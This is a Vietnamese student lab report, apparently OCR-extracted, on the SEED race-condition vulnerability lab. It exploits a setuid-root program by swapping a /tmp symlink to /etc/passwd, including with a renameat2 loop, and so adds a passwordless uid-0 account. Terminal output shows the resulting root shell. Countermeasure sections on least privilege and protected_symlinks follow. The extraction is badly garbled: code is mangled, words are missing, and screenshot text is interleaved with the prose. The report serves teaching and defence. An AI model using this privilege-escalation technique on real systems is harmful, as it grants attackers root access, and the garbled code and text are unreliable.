Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 20 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
20
Dung lượng
154,71 KB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG RACE-CONDITION (RACE-CONDITION VULNERABILITY LAB) PGS.TS Lương Thế Dũng Giảng hướngTiến dẫn:Anh Phạmviên Nguyễn Sinh viên thực hiện: AT15H Lớp: AT150702 Mã số sinh viên: 13 Nhóm: 2018-2023 Khóa: TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG RACECONDITION (RACE-CONDITION VULNERABILITY LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng-giảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em trình thực đề tài Để có thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóm phần khơng nhỏ đóng góp nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cô, anh chị khóa bạn bè xung quanh Tuy có nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG RACE-CONDITION (RACECONDITION VULNERABILITY LAB)” chúng em cịn nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hồn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đó, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu cơng gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu lỗ hổng Race-Condition MỤC LỤC LỜI CẢM ƠN LỜI MỞ ĐẦU MỤC LỤC CHƯƠNG I: TỔNG QUAN VỀ RACE-CONDITION .6 Giới thiệu Mục tiêu CHƯƠNG II: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK .7 2.1 Task 1: Thiết lập ban đầu(Initial Setup) .7 2.2 Task 2: Chọn mục tiêu(Choosing our Target) 2.3 Task 3: Khởi động công Race Condition(Launching the Race Condition Attack) 2.4 Task 4: Biện pháp đối phó: Áp dụng Ngun tắc Ít Đặc Quyền (Countermeasure: Applying the Principle of Least Privilege) .14 2.5 Task 5: Biện pháp đối phó: Sử dụng Lược đồ tích hợp Ubuntu (Countermeasure: Using Ubuntu’s Built-in Scheme) .16 CHƯƠNG III: KẾT LUẬN 18 3.1 Kết đạt 18 a Cách chế bảo vệ hoạt động 18 b Những giới hạn của chế bảo vệ 18 TÀI LIỆU THAM KHẢO 19 CHƯƠNG I: TÔNG QUAN VỀ RACE-CONDITION Giới thiệu Trong phịng thí nghiệm này, học sinh học chương trình có tính dễ bị tổn thương race-condition; nhiệm vụ họ phát triển kế hoạch để khai thác lỗ hổng giành đặc quyền root Ngoài công, học sinh hướng dẫn để qua số kế hoạch bảo vệ sử dụng để chống lại công theo lỗ hổng race-condition Học sinh cần đánh giá xem chương trình có hoạt động hay khơng giải thích Mục tiêu Mục tiêu học tập phịng thí nghiệm để sinh viên có kinh nghiệm trực tiếp lỗ hổng race-condition cách đưa họ học lỗ hổng từ lớp thành hành động Một race-condition xảy nhiều quy trình truy cập thao tác đồng thời liệu kết việc thực thi phụ thuộc vào thứ tự cụ thể mà việc truy cập diễn Nếu chương trình đặc quyền có lỗ hổng race-condition, kẻ cơng chạy quy trình song song để "chạy đua" với chương trình đặc quyền, với ý định thay đổi hành vi chương trình CHƯƠNG II: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ Tự TỪNG TASK 2.1 Task 1: Thiết lập ban đầu(Initial Setup) Bạn thực tác vụ phịng thí nghiệm cách sử dụng máy ảo Ubuntu tạo sẵn Nếu bạn sử dụng Ubuntu 9.11 VM, bạn bỏ qua bước thiết lập ban đầu Nếu bạn sử dụng máy ảo Ubuntu 11.04 12.04 chúng tôi, bạn cần để đọc phần sau Ubuntu 11.04 12.04 kèm với tính bảo vệ tích hợp chống lại tình trạng chủng tộc công Lược đồ hoạt động cách hạn chế theo dõi liên kết tượng trưng Theo tài liệu, “Các liên kết tượng trưng thư mục cố định ghi giới (ví dụ: / tmp) khơng thể theo sau người theo dõi thư mục chủ sở hữu không khớp với chủ sở hữu liên kết biểu tượng ”( symlinks in world-writable sticky directories (e.g /tmp) cannot be followed if the follower and directory owner not match the symlink owner) Trong phịng thí nghiệm này, chúng tơi cần tắt tính bảo vệ Bạn đạt điều cách sử dụng lệnh sau: Chúng tơi biên dịch chương trình vulp.c cho biến thành chương trình gốc SETUID sau: [01/08/22]seed@VM:~/Desktop$ cd Lab4 ĩ01/08/22]seed@VM:~/ /Lab4$ u total -rw-rw-r seed seed 476 Jan 05:46 vulp.c [01/08/22]seed@VM:~/ /Lab4$ gcc vulp.c -0 vulnp vulp.c: In tunction 'maỉn': vulp.c:20:42: ing implicit declaration of tunction 'strlen' [-Wimplicit-fun ction-declaration] fwrite(buffer, sizeof(char), strlen(buffer), fp); vulp.c:2G:42: ig incompatible implicit declaration of built-in tunction 's trlẽn’ vulp.c:20:42: note: include '' or provide a declaration of 'strlen' [01/08/22]seed@VM:~/ /Lab4$ chown root 2.2 Task 2: Chọn mục tiêusudo (Choosing ourvulnp Target) chmod 4755 vulnp [01/08/22]seed@VM:~/ /Lab4$ sudo Ở đây, trước tiên chúng 11 kiểm tra xem có người dùng đặt tên [01/08/22] seed(3VM:~/ /Lab4$ total 12 kiểm tra hay không Chúng tơi thấy khơng có có tên sau chúng tơi nhập vuln -rwsr-xr-x root từ tài06:04 văn sau vàoseed tệp /7628 etc / Jan passwd khoảnvulp.c gốc: 05:46 -rw-rw-r seed seed 476 Jan [01/08/22] seed(aVM:~/ /Lab4$ I [01/08/22]seed@VM:~/ /Lab4$ cat /etc/passwd I grep test test:U6aMv0woi ho:0:0:test!/root:/bin/bash Sau chỉnh sửa tệp / etc / passwd, kiểm tra lại tệp thấy mục thực Sau đó, chúng tơi kiểm tra xem người dùng tạo thành công hay chưa cách chuyển từ hạt giống sang thử nghiệm nhấn enter hỏi mật Những điều sau cho thấy thành công chuyển sang tài khoản người dùng thử nghiệm dấu ‘#’ cho biết tài khoản gốc: [01/08/22]seed@VM:~/ /Lab4$ Password: root(aVM:/home/seed/Desktop/Lab4# I su test Sau xác minh mục nhập chúng tơi hoạt động, chúng tơi xóa mục nhập thủ công khỏi / etc / passwd tương lai điều xác minh cách làm sau: [01/08/22]seed@VM:~/ /Lab4$ su test No passwd entry for User 'test' [01/08/22]seed@VM:~/ /Lab4$ I I 2.3 Task 3: Khởi động công Race Condition(Launching the Race Condition Attack) Để khởi động công, cần chạy hai trình Target_process chạy chương trình đặc quyền vòng lặp trừ tệp mật bị thay đổi Mục nhập người dùng từ nhiệm vụ lưu trữ tệp passwd_input cung cấp làm đầu vào cho chương trình đặc quyền Mã thấy ảnh chụp hình sau, điều kiện để phá vỡ vòng lặp sử dụng dấu thời gian tệp tức dừng dấu thời gian thay đổi cho biết tệp sửa đổi Mặt khác, attack_process trình chạy song song với target_process cố gắng thay đổi vị trí “/ tmp / XYZ” trỏ đến, để trỏ đến tệp mà chúng tơi muốn ghi vào sử dụng target_process Chúng tơi xóa liên kết cũ cách sử dụng hủy liên kết sau tạo liên kết cách sử dụng liên kết tượng trưng Ban đầu, đặt “/ tmp / XYZ” trỏ tới “/ dev / null” để chúng tơi vượt qua kiểm tra quyền truy cập chúng tơi vượt qua kiểm tra / dev / null ghi cho tệp đặc biệt loại bỏ điều viết cho Sau đó, chúng tơi để q trình ngủ thời gian định sau tạo “/ tmp / XYZ” tệp trỏ tới tệp “/ etc / passwd”, tệp mà muốn ghi vào Q trình thực vịng lặp để chạy đua với target_process: Tiếp theo, trước tiên, biên dịch chạy attack_process terminal, sau sử dụng terminal khác để chạy target_process: |[01/08/22]seed@VM:~/.■./Lab4$ gcc -0 attackprocess attackprocess.c [01/08/22]seed@VM:-/ /Lab4$ ĩ/attack_process r /bin/bash /bin/bash 80x24 [01/08/22]seed@VM:~$ cd Desktop [01/08/22]seed@VM:~/Desktop$ cd Lab4 [01/08/22]seed@VM:-/ /Lab4$ bash targetprocess.sh STOP The passwd file has been changed [01/08/22]seed@VM:~/ /Lab4$ I Target_process dừng tệp mật thay đổi thành công, theo điều kiện định tệp Sau đó, chúng tơi kiểm tra mục nhập tạo tệp Để xác minh điều đó, chúng tơi chuyển sang người dùng thử nghiệm cần nhấn enter nhắc nhập mật Như thấy, nhập thành công người dùng nhập ‘whoami’ id, thấy kiểm tra người dùng root 101/08/22Jseed(dVM:-/ /Lab4$ cat /etc/passwd I grep test test:U6aMy0woj raho:0:0:test:/root:/bin/bash [01/08/22]seed@VM:~/ /Lab4$ I root@VM:/home/seed/Desktop/Lab4# whoami root root@VM:/home/seed/Desktop/Lab4# id uid=0(root) gid=0(root) groups=0(root) root@VM:/home/seed/Desktop/Lab4# I Điều chứng tỏ công thành công sử dụng điều kiện chủng tộc, chúng tơi nâng cấp đặc quyền ghi vào tệp mật Ngoài ra, tác hại gây tạo gốc người dùng, có quyền truy cập root vào hệ thống, điều nguy hiểm Ở đây, thảo luận, có điều kiện chạy đua lệnh hủy liên kết liên kết biểu tượng q trình cơng Nếu tệp target_process mở sau hủy liên kết trước liên kết biểu tượng cơng ln khơng thành cơng tệp tạo SETUID chương trình chủ sở hữu root Trong trường hợp này, hủy liên kết cơng ln ln thất bại Điều thư mục / tmp có bit "dính", điều cho phép chủ sở hữu tệp để xóa tệp, thư mục giới ghi Để vượt qua điều này, sử dụng lệnh gọi hệ thống renameat2 () để khắc phục điều kiện đua cửa sổ hủy liên kết liên kết biểu tượng Hàm renameat2 () hoán đổi liên kết tượng trưng cờ sử dụng RENAME_EXCHANGE Việc hoán đổi giúp làm cho / tmp / XYZ trỏ đến / dev / null đơi trỏ đến / etc / passwd Khi trỏ đến / etc / passwd sau kiểm tra quyền truy cập trước mở tệp, sau cơng điều kiện đua thành cơng Các chương trình sau sử dụng renameat2 (): Trước chạy chương trình này, đặt liên kết tượng trưng để / tmp / XYZ trỏ tới / dev / null / tmp / link1 trỏ tới / etc / passwd Khi làm điều này, lệnh gọi hệ thống renameat2 () thực hiện, hốn đổi / tmp / XYZ để trỏ tới / etc / passwd / tmp / linkl để trỏ tới / dev / null Điều tiếp tục diễn vòng lặp / tmp / XYZ trỏ đến / etc / passwd kiểm tra quyền truy cập mở tệp, công thành công |[01/08/22]seed@VM:~/.-./Lab4$ In -s -f /dev/null /tmp/XYZ [01/08/22]seed@VM:~/ /Lab4$ In -s -f /etc/passwd /tmp/linkl [01/08/22]seed@VM:~/ /Lab4$ 11 /tmp/XỸZ ìrwxrwxrwx seed seed Jan 07:35 /tmp/XYZ -> EEnnSĐ [01/08/22]seed@VM:~/ /Lab4$ 11 /etc/passwd -rw-r r ròot root 2569 Jan 07:01 /etc/passwd [01/08/22]seed@VM:~/ /Lab4$ 11 /tmp/linkl lrwxrwxrwx seed seed 11 Jan 07:34 /tmp/linkl -> /etc/passwd [01/08/22]seed@VM:~/ /Lab4$ I [01/08/22]seed@VM:~/ /Lab4$ gcc -0 attackprocess attackprocess.c [01/08/22]seed@VM:~/ /Lab4$ 7/attack_process Quá trình công chạy Chúng xác minh khơng có tài khoản thử nghiệm có Sau đó, chúng tơi chạy target_process chạy chương trình đặc quyền vòng lặp thấy điều dừng điều kiện dừng đáp ứng - tệp mật sửa đổi Sau đó, làm tương tự thử nghiệm thực trước để xác minh việc tạo người dùng điều nhìn thấy ảnh chụp hình Điều cho thấy cơng thành cơng sử dụng lệnh gọi hệ thống renameat2 () để thực việc này, tránh race condition cửa sổ hủy liên kết liên kết biểu tượng, đảm bảo thành công công race condition [01/08/22]seed@VM:~/ /Lab4$ bash targetprocess.sh STOP The passwd file has been changed [01/08/22]seéd@VM:-/ /Lab4$ cat /etc/passwd I grep test test:U6aMy0woj raho:0:0:test:/root:/bin/bash [01/08/22] seedcạVM: ~/ /Lab4$ I [01/08/22]seed@VM./Lab4$ su test Password: 'root@VM:/home/seed/Desktop/Lab4# id 'Uid=0(root) gid=0(root) groups=0(root) root@VM:/home/seed/Desktop/Lab4# I Attack_process viết trước chứa lệnh gọi đến renameat2 () hàm chạy vịng lặp while có tác dụng tương tự Cập nhật chương trình sau: ttincluơe Mnclude #include int nain() < unsigned -Lnt: flags = R ENAME_EXCHANGE; whtle(l) £ syscall(SYS_renameat2, Q, "/tmp/XYZ", o, "/tnp/ltnkl", flags); usleepc1000); // syscall(SYS_renameat2, o, *'/trìp/XYZ’’ , 0, "/tnp/ltnkl" , flags); // usleep(1000); }l _ return 0; Sự thành công công cách sử dụng attack_process cập nhật: [01/08/22]seed@VM:~/ /Lab4$ bash targetprocess.sh STOP The passwd file has been changed [01/08/22]seéd@VM:~/ /Lab4$ cat /etc/passwd I grep test test:U6aMy0woj raho:0:0:test:/root:/bin/bash :[01/08/22]seed@VM:-/ /Lab4$ su test Password: root@VM:/home/s eed/Des kto p/La b4# id uid=0(root) gid=0(root) groups=0(root) ' root@VM:/home/seed/Desktop/Lab4# I Do đó, thấy race condition đạt thành cơng nhận đặc quyền root vào hệ thống 2.4 Task 4: Biện pháp đối phó: Áp dụng Nguyên tắc Ít Đặc Quyền (Countermeasure: Applying the Principle of Least Privilege) /* vulp.c */ #tncl.ude #inctude ' tnt matn() { char * fn = "/tmp/XYZ”; char buffer[60]; FILE *fp; /* get User input */ scanĩ("%50s", buffer ); seteuid(realUID); if(!access(fn, W_OK)){ fp = fopen(fn, "a+"); Ìfwrtte("\n , stzeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); else printf(''No permission \n"); seteuid(effUID); jJ í Ể Chúng tơi chỉnh sửa chương trình dễ bị cơng để áp dụng ngun tắc đặc quyền Chúng sử dụng thực UID UID hiệu dụng chương trình Trước kiểm tra quyền truy cập, trước tiên đặt giá trị hiệu UID giống với UID thực Điều làm giảm đặc quyền kết thúc chương trình, chúng tơi thay đổi UID có hiệu lực giống trước để nhận lại đặc quyền Chúng tơi biên dịch chương trình biến thành chương trình sở hữu root SETUID Chúng tơi thực quy trình tương tự trước công: Terminal 1: [01/08/22]seed@VM:~/ /Lab4$ sudo gcc -0 vulnp vulp.c vulp.c: In tunction 'main': vulp.c:16:20: error: 'realUID' undeclared (first use in this function) seteuid(realUID); vulp.c:16:20: note: each undeclared identitier is reported only once for each unction it appears in vulp.c:22:42: in implicit declaration of tunction 'strlen' [-Wimplicitnction-declaration] fwrite(buffer, sizeof(char), strlen(buffer), fp); vulp.c:22:42: incompatible implicit declaration of built-in tunction strien' vulp.c:22:42: note: include '' or provide a declaration of ‘strlen’ vulp.c:26:21: error: 'effUID' undeclared (tirst use in this tunction) seteuid(effUID): [01/08/22]seed@VM:~/ /Lab4$ sudo chown root vulnp ì01/08/22]seed@VM:~/ /Lab4$ sudo chmodn 4755 vulnp sudo: chmõdn: command not found [01/08/22]seed@VM:~/ /Lab4$ sudo chmod 4755 vulnp ì01/08/22]seed@VM:-/ /Lab4$ su /tmp/XYZ No command ‘SU’ found, did you mean: Command 'dll' from package 'brickos' (universe) =SU: command not found [01/08/22]seed@VM:~/ /Lab4$ /attackprocess U /tmp/XYZ _ [01/08/22]seed@VM:~/ /Lab4$ *ĩrwxrwxrwx sẽed seed Jan 09:35 -> FỈ!47j|ỊI|M f[01/08/22]seed@VM:~/ /Lab4$ u /tmp/linkl f ìrwxrwxrwx seed seed 11 Jan 09:32 /tmp/linkl -> /etc/passwd [01/08/22]seed@VM:-/ /Lab4$ u vulnp Terminal vuln -rwsr-xr-x 2: rõot seed 7628 Jan 06:04 [01/08/22]seed@VM:~$ cat /etc/passwd I grep test [01/08/22]seedỒVM:-$ cd Desktop [01/08/22]seed@VM:~/Desktop$ cd Lab4 ì 01/08/22 íseed@VM:-/ /Lab4$ bash targetprocess.sh 5T0P The passwd file has been changed [01/08/22]seéd@VM:~/ /Lab4$ cat /etố/passwd I grep test [01/08/22]seedồVM:~/ /Lab4$ su test No passwd entrỹ for User 'test' [01/08/22]seed@VM:-/ /Lab4$ I Những điều cho thấy công khơng thành cơng Theo ngun tắc đặc quyền nhất, đặc quyền chương trình SETUID tạm thời bị loại bỏ chúng tơi đặt người dùng hiệu ID giống ID người dùng thực Do đó, chương trình dễ bị tổn thương dễ bị công Đây vì, hàm fopen () sử dụng ID người dùng hiệu để mở tệp đặc quyền / etc / passwd khơng có quyền truy cập để mở tệp ID người dùng hiệu ID hạt giống mà khơng có đặc quyền để mở tệp Bằng cách đặt id người dùng hiệu thành người dùng thực id thời điểm thực thi, từ chối đặc quyền bổ sung khơng bắt buộc 2.5 Task 5: Biện pháp đối phó: Sử dụng Lược đồ tích hợp Ubuntu (Countermeasure: Using Ubuntu’sBuilt-in Scheme) Trước tiên, chúng tơi chỉnh sửa chương trình từ bước trước, loại bỏ điều kiện đặc quyền định, làm cho chương trình dễ bị công trở lại Sau thay đổi, chúng tơi biên dịch lại chương trình làm cho chương trình gốc SETUID Tiếp theo, chúng tơi kích hoạt tính bảo vệ tích hợp sẵn Ubuntu trước race condition: [01/08/22]seed@VM:~/ /Lab4$ gcc -0 vulnp vulp.c /ulp.c: In tunction 'main': /ulp.c:16:20: error: 'realUID' undeclared (tirst use in this tunction) seteuid(realUID); /ulp.c:16:20: note: each undeclared identitier is reported only nction appears in /ulp.c:22:42: ninc implicit declaration of tunction 'strlen' [-Wimplicit-fur :tion-declaration] fwrite(buffer, sizeof(char), strlen(buffer), fp); once for each fi /ulp.c:22:42: ning incompatible implicit declaration of built-in tunction trlẽn’ /ulp.c:22:42: note: include '' or provide a declaration of ‘strlen’ /ulp.c:26:21: error: 'effUID’ undeclared (first use in this tunction) seteuid(effUID); Để kiểm tra xem chúng tơisudo vẫnchown có thểroot thực công với điều kiện [01/08/22]seed@VM:~/ /Lab4$ vulnp kích hoạt hay khơng, chúngsudo tơi chmod chạy q trình cơng quy trình mục tiêu [01/08/22]seed@VM:-/ /Lab4$ 4755 vulnp [01/08/22]seed@VM:~/ /Lab4$ sudo sysctl -w f s protected_symlinks=l terminal khác ts.protectedsymlinks = [01/08/22] seed(